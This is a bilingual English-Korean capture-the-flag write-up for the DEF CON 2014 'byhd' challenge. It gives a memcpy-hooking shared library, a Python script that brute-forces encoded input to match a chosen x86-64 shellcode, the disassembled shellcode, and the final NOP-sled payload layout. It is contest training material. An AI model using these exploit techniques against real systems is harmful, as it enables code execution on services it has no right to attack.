[Defcon 2014] HJ(2) byhd write up

I think It is not a good solution. I did just brute-force to find encoded shellcode.

It was first time to brute-force the remote binary, So I just want to share my experience.

The method is that I hooked server side. So, server side send the encoded value to client.

Then, client check if the encoded value is same with our shell code or not.

I repeated this method. 

following code is server hooking code.

정확한 풀이는 아니고, 부르트포싱으로 풀었다.

리모트를 부르트포싱 해본건 처음이어서, 그 과정을 적어볼까 한다.

방법은 서버를 Hooking해서, 인코딩된 결과를 클라이언트로 전송해줬다.

그래서 한바이트씩 넣어보다가, 쉘코드와 일치하는 부분이 있을 경우 기억해두는 방식으로 했다.

아래는 서버 후킹 코드.

http://pastebin.com/Vs0jJa3z

1. // gcc -shared -ldl hook.c -o hook.so -fPIC -ldl
2.  
3. #define _GNU_SOURCE
4. #include <stdio.h>
5. #include<sys/types.h>
6. #include <dlfcn.h>
7.  
8. void * memcpy ( void * destination, const void * source, size_t num ) {
9.         static void (*memcpy_real)(void*, const void*, size_t) = NULL;
10.         int i=0;
11.  
12.         if (__builtin_return_address(0) == 0x401c9e)
13.         {
14.                 //FILE *fp = fopen("scode", "w");
15.                 fprintf(stdout, "Memcpy: ");
16.  
17.                 int length = num*2;
18.  
19.                 send(4, &length, 4, 0);
20.  
21.                 for (i=0; i<num; i++)
22.                 {
23.                         fprintf(stdout, "%02x ", *(char *)(source + i) & 0xFF);
24.                         char buf[2];
25.                         sprintf(buf, "%02x", *(char *)(source + i) & 0xFF);
26.                         send(4, &buf, 2, 0);
27.                 }
28.                 //for (i=0; i<num; i++)
29.                 //      fprintf(fp, "%c", *(char *)(source + i) & 0xFF);
30.  
31.                 //fclose(fp);
32.  
33.                 fprintf(stdout, "\n\n");
34.                 //system("ndisasm scode");
35.                 fprintf(stdout, "-------------------------------\n\n");
36.         }
37.  
38.         if (!memcpy_real)
39.                 memcpy_real = dlsym(RTLD_NEXT, "memcpy");
40.  
41.         memcpy_real(destination, source, num);
42. }

컴파일을 한 후, 

# LD_PRELOAD=./hook.so ./byhd

와 같은 방식으로 서버를 연다.

그리고, 아래의 코드로 부르트포싱을 돌렸다.

http://pastebin.com/4dQaXibd

1. from socket import *
2. from struct import *
3. import sys
4. import time
5.  
6. def recvuntil(s, length):
7.         result = ""
8.         while True:
9.                 result += s.recv(1)
10.                 if len(result) >= length:
11.                         break
12.  
13.         return result
14.  
15. #s.connect(('byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me', 9730))
16.  
17. shellcode = "48 8b 4d c8 48 83 c1 30 48 81 e2 ff 00 00 00 5b 48 83 eb 15 ff d3"
18. shellcode = shellcode.replace(" ","").decode('hex')
19.  
20. answer = ""
21.  
22.  
23. ii = len(answer)
24. fail = False
25. while ii < 250:
26.         found = False
27.         if fail != True:
28.                 i=0xff
29.         fail = False
30.         while i>=0:
31.                 s = socket(AF_INET, SOCK_STREAM)
32.                 s.connect(('192.168.0.41', 9730))
33.  
34.                 #print hex(i)
35.  
36.                 s.send(pack('<L', len(answer)+1))
37.                 s.send(answer+chr(i))
38.  
39.                 length = unpack('<L',s.recv(4))[0]
40.                 data = recvuntil(s,length)
41.                 print data
42.                 data = data.decode('hex')
43.  
44.                 if len(data) > len(answer) and data[len(answer):] == shellcode[len(answer):len(data)]:
45.                         answer += chr(i)
46.                         print "[+] Found:",answer.encode('hex')
47.                         ii+=1
48.                         s.close()
49.                         found = True
50.                         break
51.  
52.                 if data[:len(shellcode)] == shellcode:
53.                         print answer.encode('hex')
54.                         sys.exit()
55.  
56.                 s.close()
57.                 time.sleep(0.01)
58.                 i-=1
59.         if found == False:
60.                 print "[-] Fail"
61.                 if len(answer) <= 1:
62.                         break
63.                 else:
64.                         last = answer[-1]
65.                         i = ord(last) - 1
66.                         answer = answer[:-1]
67.                         ii-=1
68.                         fail = True

사용한 쉘코드는 아래와 같다. (팀원이 생각한 코드)

$ ndisasm asdf3 -b64   00000000  488B4DC8              mov rcx,[rbp-0x38]   00000004  4883C130               add rcx,byte +0x30   00000008  4881E2FF000000      and rdx,0xff   0000000F  5B                        pop rbx   00000010  4883EB15              sub rbx,byte +0x15   00000014  FFD3                    call rbx

최대한 짧게 하여, 우리가 입력했던 버퍼의 뒤쪽부붙을 다시 memcpy로 복사해서 콜 하도록 하였다.

그래서 최종적인 페이로드는 위에서 찾은 ( [인코딩된 문자] + "\x90"*50 + [쉘코드] ) 를 보내면 된다.